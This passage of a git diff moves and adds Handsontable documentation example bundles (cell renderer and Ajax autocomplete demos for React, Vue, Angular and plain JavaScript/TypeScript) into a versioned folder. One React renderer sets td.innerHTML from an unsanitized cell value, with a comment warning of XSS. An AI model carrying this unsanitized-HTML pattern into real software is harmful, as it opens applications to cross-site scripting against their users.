function (2)","docPermalink":"/cell-renderer","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__javascript__example5.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example5.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__javascript__example5.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__javascript__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__javascript__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__javascript__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example2.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__react__example2.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example2.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__react__example2.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example3.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__react__example3.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example3.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__react__example3.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__react__example4.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__react__example4.tsx.json new file mode 100644 index 00000000..89faade8 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__react__example4.tsx.json @@ -0,0 +1 @@ +{"framework":"react","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · React (TS)","tier":1,"engine":"sandpack","sandpackTemplate":"react-ts","sandpackEnvironment":"create-react-app-typescript","container":null,"htWrappers":["@handsontable/react-wrapper"],"entry":"/src/main.tsx","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-react-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/react-wrapper\": \"18.0.0\",\n \"react\": \"18.x\",\n \"react-dom\": \"18.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-react\": \"^4.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport react from \"@vitejs/plugin-react\";\n\nexport default defineConfig({ plugins: [react()] });","/index.html":"\n\n\n \n \n Handsontable React Example\n \n \n\n\n
\n \n\n","/src/main.tsx":"import React from \"react\";\nimport { createRoot } from \"react-dom/client\";\nimport App from \"./App\";\nconst root = createRoot(document.getElementById(\"example4\"));\nroot.render(React.createElement(App));","/src/App.tsx":"import { HotTable } from '@handsontable/react-wrapper';\nimport Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// register Handsontable's modules\nregisterAllModules();\n\nconst ExampleComponent = () => {\n const data = [\n {\n title:\n 'Professional JavaScript for Web Developers',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'I would rate it ★★★★☆',\n cover: '/docs/img/examples/professional-javascript-developers-nicholas-zakas.jpg',\n },\n {\n title: 'JavaScript: The Good Parts',\n description:\n 'This book provides a developer-level introduction along with more advanced and useful features of JavaScript.',\n comments: 'This is the book about JavaScript',\n cover: '/docs/img/examples/javascript-the-good-parts.jpg',\n },\n {\n title: 'JavaScript: The Definitive Guide',\n description:\n 'JavaScript: The Definitive Guide provides a thorough description of the core JavaScript language and both the legacy and standard DOMs implemented in web browsers.',\n comments:\n 'I\\'ve never actually read it, but the comments are highly positive.',\n cover: '/docs/img/examples/javascript-the-definitive-guide.jpg',\n },\n ];\n\n function safeHtmlRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue,\n _cellProperties: Handsontable.CellProperties\n ) {\n // WARNING: Be sure you only allow certain HTML tags to avoid XSS threats.\n // Sanitize the \"value\" before passing it to the innerHTML property.\n td.innerHTML = value;\n }\n\n function coverRenderer(\n _instance: Handsontable,\n td: HTMLTableCellElement,\n _row: number,\n _col: number,\n _prop: string | number,\n value: Handsontable.CellValue,\n _cellProperties: Handsontable.CellProperties\n ) {\n const img = document.createElement('img');\n\n img.src = value;\n\n img.addEventListener('mousedown', (event) => {\n event.preventDefault();\n });\n\n td.innerText = '';\n td.appendChild(img);\n\n return td;\n }\n\n return (\n \n );\n};\n\nexport default ExampleComponent;"},"docsPath":"guides/cell-functions/cell-renderer/react/example4.tsx","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"React (TS)"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example5.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__react__example5.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__react__example5.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__react__example5.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__vue__example4.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__vue__example4.vue.json new file mode 100644 index 00000000..3a79d084 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__vue__example4.vue.json @@ -0,0 +1 @@ +{"framework":"vue","displayName":"Cell Functions ▸ Cell renderer · Declare a custom renderer as a function (2) · Vue 3","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"vue","htWrappers":["@handsontable/vue3"],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":"pnpm exec vite --host 0.0.0.0 --port 5173","buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":5173,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":5,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-vue-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/vue3\": \"18.0.0\",\n \"vue\": \"3.x\",\n \"vite\": \"^5.4.0\",\n \"@vitejs/plugin-vue\": \"^5.0.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/vite.config.js":"import { defineConfig } from \"vite\";\nimport vue from \"@vitejs/plugin-vue\";\n\nexport default defineConfig({ plugins: [vue()] });","/index.html":"\n\n\n \n \n Handsontable Vue Example\n \n\n\n
\n \n\n","/src/main.ts":"import { createApp } from \"vue\";\nimport App from \"./App.vue\";\ncreateApp(App).mount(\"#example4\");","/src/App.vue":"\n\n"},"docsPath":"guides/cell-functions/cell-renderer/vue/example4.vue","breadcrumb":["Cell Functions","Cell renderer"],"guide":"guides/cell-functions/cell-renderer/cell-renderer.md","guideTitle":"Cell renderer","exampleId":"example4","exampleTitle":"Declare a custom renderer as a function (2)","docPermalink":"/cell-renderer","lang":"Vue 3"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example5.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__vue__example5.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-renderer__vue__example5.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-renderer__vue__example5.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-validator__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-validator__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-validator__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-validator__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-validator__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-validator__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__react__example1.tsx.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-validator__react__example1.tsx.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__react__example1.tsx.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-validator__react__example1.tsx.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-validator__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__cell-validator__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__cell-validator__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__custom-cells__vue__example1.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__custom-cells__vue__example1.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__custom-cells__vue__example1.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__custom-cells__vue__example1.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__custom-cells__vue__example2.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__custom-cells__vue__example2.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__custom-cells__vue__example2.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__custom-cells__vue__example2.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-functions__custom-cells__vue__example3.vue.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__custom-cells__vue__example3.vue.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-functions__custom-cells__vue__example3.vue.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-functions__custom-cells__vue__example3.vue.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example3.ts.json new file mode 100644 index 00000000..966f5a51 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example3.ts.json @@ -0,0 +1 @@ +{"framework":"angular","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode (Ajax) · Angular","tier":2,"engine":"container","sandpackTemplate":null,"sandpackEnvironment":null,"container":"angular","htWrappers":["@handsontable/angular-wrapper"],"entry":"/src/main.ts","htmlEntry":"/src/index.html","devCommand":"pnpm exec ng serve --host 0.0.0.0 --disable-host-check --port 3000","buildCommand":"ng build","outputDir":"dist","outputGlob":"dist/*/browser","staticExport":false,"spaMode":false,"port":3000,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":7,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-angular-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"scripts\": {\n \"ng\": \"ng\",\n \"start\": \"ng serve\",\n \"build\": \"ng build\"\n },\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"@handsontable/angular-wrapper\": \"18.0.0\",\n \"@angular/animations\": \"21.x\",\n \"@angular/common\": \"21.x\",\n \"@angular/compiler\": \"21.x\",\n \"@angular/core\": \"21.x\",\n \"@angular/forms\": \"21.x\",\n \"@angular/platform-browser\": \"21.x\",\n \"@angular/platform-browser-dynamic\": \"21.x\",\n \"@angular/router\": \"21.x\",\n \"rxjs\": \"~7.8.0\",\n \"tslib\": \"^2.3.0\",\n \"zone.js\": \"~0.15.0\",\n \"@angular-devkit/build-angular\": \"21.x\",\n \"@angular/cli\": \"21.x\",\n \"@angular/compiler-cli\": \"21.x\",\n \"typescript\": \"~5.9.0\"\n },\n \"devDependencies\": {}\n}","/angular.json":"{\n \"$schema\": \"./node_modules/@angular/cli/lib/config/schema.json\",\n \"version\": 1,\n \"newProjectRoot\": \"projects\",\n \"projects\": {\n \"app\": {\n \"projectType\": \"application\",\n \"root\": \"\",\n \"sourceRoot\": \"src\",\n \"prefix\": \"app\",\n \"architect\": {\n \"build\": {\n \"builder\": \"@angular-devkit/build-angular:application\",\n \"options\": {\n \"outputPath\": \"dist/app\",\n \"index\": \"src/index.html\",\n \"browser\": \"src/main.ts\",\n \"polyfills\": [\n \"zone.js\"\n ],\n \"tsConfig\": \"tsconfig.json\",\n \"assets\": [],\n \"styles\": [],\n \"scripts\": []\n },\n \"configurations\": {\n \"development\": {\n \"optimization\": false,\n \"sourceMap\": true\n }\n },\n \"defaultConfiguration\": \"development\"\n },\n \"serve\": {\n \"builder\": \"@angular-devkit/build-angular:dev-server\",\n \"configurations\": {\n \"development\": {\n \"buildTarget\": \"app:build:development\"\n }\n },\n \"defaultConfiguration\": \"development\"\n }\n }\n }\n }\n}","/tsconfig.json":"{\n \"compilerOptions\": {\n \"outDir\": \"./dist/out-tsc\",\n \"strict\": true,\n \"noImplicitOverride\": true,\n \"noPropertyAccessFromIndexSignature\": true,\n \"noImplicitReturns\": true,\n \"noFallthroughCasesInSwitch\": true,\n \"skipLibCheck\": true,\n \"esModuleInterop\": true,\n \"sourceMap\": true,\n \"declaration\": false,\n \"experimentalDecorators\": true,\n \"moduleResolution\": \"bundler\",\n \"importHelpers\": true,\n \"target\": \"ES2022\",\n \"module\": \"ES2022\",\n \"useDefineForClassFields\": false,\n \"lib\": [\n \"ES2022\",\n \"dom\"\n ]\n },\n \"angularCompilerOptions\": {\n \"enableI18nLegacyMessageIdFormat\": false,\n \"strictInjectionParameters\": true,\n \"strictInputAccessModifiers\": true,\n \"strictTemplates\": true\n }\n}","/src/index.html":"\n\n\n \n Handsontable Angular Example\n \n \n \n\n\n
\n \n
\n\n","/src/main.ts":"import { bootstrapApplication } from '@angular/platform-browser';\nimport { registerAllModules } from 'handsontable/registry';\nimport { AppComponent } from './app/app.component';\nimport { appConfig } from './app/app.config';\n\nregisterAllModules();\n\nbootstrapApplication(AppComponent, appConfig).catch(err => console.error(err));","/src/app/app.component.ts":"import { Component } from '@angular/core';\nimport { GridSettings, HotTableModule} from '@handsontable/angular-wrapper';\n\n@Component({\n selector: 'example3-autocomplete-cell-type',\n standalone: true,\n imports: [HotTableModule],\n template: `
\n \n
`\n})\nexport class AppComponent {\n\n readonly data = [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ];\n\n readonly gridSettings: GridSettings = {\n height: 'auto',\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n autoWrapRow: true,\n autoWrapCol: true,\n columns: [\n {\n type: 'autocomplete',\n source: (_query: string, process: (items: string[]) => void) => {\n fetch('https://handsontable.com/docs/scripts/json/autocomplete.json')\n .then((response) => response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {}, // Year is a default text column\n {}, // Chassis color is a default text column\n {}, // Bumper color is a default text column\n ]\n };\n}","/src/app/app.config.ts":"import { ApplicationConfig, provideZoneChangeDetection } from '@angular/core';\nimport { registerAllModules } from 'handsontable/registry';\nimport { HOT_GLOBAL_CONFIG, HotGlobalConfig, NON_COMMERCIAL_LICENSE } from '@handsontable/angular-wrapper';\n\n// register Handsontable's modules\nregisterAllModules();\n\nexport const appConfig: ApplicationConfig = {\n providers: [\n provideZoneChangeDetection({ eventCoalescing: true }),\n {\n provide: HOT_GLOBAL_CONFIG,\n useValue: { license: NON_COMMERCIAL_LICENSE } as HotGlobalConfig,\n },\n ],\n};"},"docsPath":"guides/cell-types/autocomplete-cell-type/angular/example3.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode (Ajax)","docPermalink":"/autocomplete-cell-type","lang":"Angular"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example5.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example5.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example5.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example5.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example6.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example6.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example6.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example6.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example7.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example7.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__angular__example7.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__angular__example7.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example1.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example1.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example1.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example1.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example1.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example1.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example1.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example1.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example2.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example2.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example2.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example2.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example2.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example2.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example2.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example2.ts.json diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example3.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example3.js.json new file mode 100644 index 00000000..a37df37b --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example3.js.json @@ -0,0 +1 @@ +{"framework":"javascript","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode (Ajax) · JavaScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.js","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.js":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3');\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'autocomplete',\n source(_query, process) {\n fetch('/docs/scripts/json/autocomplete.json')\n .then((response) => response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {},\n {},\n {}, // Bumper color is a default text column\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.js":"import \"../index.js\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example3.js","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode (Ajax)","docPermalink":"/autocomplete-cell-type","lang":"JavaScript"} diff --git a/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example3.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example3.ts.json new file mode 100644 index 00000000..9401c425 --- /dev/null +++ b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example3.ts.json @@ -0,0 +1 @@ +{"framework":"typescript","displayName":"Cell Types ▸ Autocomplete cell type · Autocomplete strict mode (Ajax) · TypeScript","tier":1,"engine":"sandpack","sandpackTemplate":"vanilla-ts","sandpackEnvironment":"parcel","container":null,"htWrappers":[],"entry":"/src/main.ts","htmlEntry":"/index.html","devCommand":null,"buildCommand":"vite build","outputDir":"dist","outputGlob":null,"staticExport":false,"spaMode":false,"port":null,"installCommand":"pnpm install","htCoreRange":"18.0.0","fileCount":4,"assets":[],"skipped":[],"files":{"/package.json":"{\n \"name\": \"handsontable-example\",\n \"version\": \"1.0.0\",\n \"private\": true,\n \"packageManager\": \"pnpm@10.34.5\",\n \"dependencies\": {\n \"handsontable\": \"18.0.0\",\n \"vite\": \"^5.4.0\",\n \"typescript\": \"^5.4.0\"\n },\n \"scripts\": {\n \"start\": \"vite\",\n \"build\": \"vite build\"\n }\n}","/index.html":"\n\n\n \n \n Handsontable Example\n \n \n\n\n
\n \n\n","/index.ts":"import Handsontable from 'handsontable/base';\nimport { registerAllModules } from 'handsontable/registry';\n\n// Register all Handsontable's modules.\nregisterAllModules();\n\nconst container = document.querySelector('#example3')!;\n\nnew Handsontable(container, {\n height: 'auto',\n licenseKey: 'non-commercial-and-evaluation',\n data: [\n ['BMW', 2017, 'black', 'black'],\n ['Nissan', 2018, 'blue', 'blue'],\n ['Chrysler', 2019, 'yellow', 'black'],\n ['Volvo', 2020, 'white', 'gray'],\n ],\n colHeaders: ['Car', 'Year', 'Chassis color', 'Bumper color'],\n columns: [\n {\n type: 'autocomplete',\n source(_query, process) {\n fetch('/docs/scripts/json/autocomplete.json')\n .then((response) => response.json())\n .then((response) => process(response.data));\n },\n strict: true,\n },\n {}, // Year is a default text column\n {}, // Chassis color is a default text column\n {}, // Bumper color is a default text column\n ],\n autoWrapRow: true,\n autoWrapCol: true,\n});","/src/main.ts":"import \"../index.ts\";"},"docsPath":"guides/cell-types/autocomplete-cell-type/javascript/example3.ts","breadcrumb":["Cell Types","Autocomplete cell type"],"guide":"guides/cell-types/autocomplete-cell-type/autocomplete-cell-type.md","guideTitle":"Autocomplete cell type","exampleId":"example3","exampleTitle":"Autocomplete strict mode (Ajax)","docPermalink":"/autocomplete-cell-type","lang":"TypeScript"} diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example4.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example4.js.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example4.js.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example4.js.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example4.ts.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example4.ts.json similarity index 100% rename from runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example4.ts.json rename to runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example4.ts.json diff --git a/runner/apps/authoring/public/docs-examples/guides__cell-types__autocomplete-cell-type__javascript__example5.js.json b/runner/apps/authoring/public/docs-examples/18.0/guides__cell-types__autocomplete-cell-type__javascript__example5.js.json similarity 